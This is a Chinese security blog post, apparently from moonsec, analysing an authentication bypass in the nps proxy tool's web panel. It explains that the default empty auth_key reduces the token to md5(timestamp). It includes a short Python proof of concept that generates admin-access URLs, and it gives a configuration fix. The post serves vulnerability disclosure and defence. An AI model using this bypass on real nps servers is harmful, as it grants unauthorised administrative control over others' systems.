hvv反制红队第一章之nps代理工具0day漏洞分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
简介
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
漏洞分析
nps的web端使用beego框架,重写了Prepare函数,在该函数中进行了权限控制。漏洞文件在web/controllers/index.go
。如图:
只需要配置文件中auth_key的内容即可通过验证,设置session中的isadmin为true。在nps的配置文件中,auth_key默认是被注释的。
所以代码中beego.AppConfig.String("auth_key")
获取的结果就是空。这样crypt.Md5(configKey+strconv.Itoa(timestamp)
就相当于只需要把timestamp进行md5即可。poc:
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
只需要在post内容中添加auth_key和timestamp两个参数,分别对应md5(timestamp)和timestamp即可。直接访问生成的url可以看到后台
auth_key和timestamp的时效只有20s,所以需要不停的生成。并且需要手动添加到get请求和着post请求的参数中。下图为client列表接口。
漏洞修复
只需要在配置文件里去掉auth_key的注释,同时注释掉auth_crypt_key。
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6585.html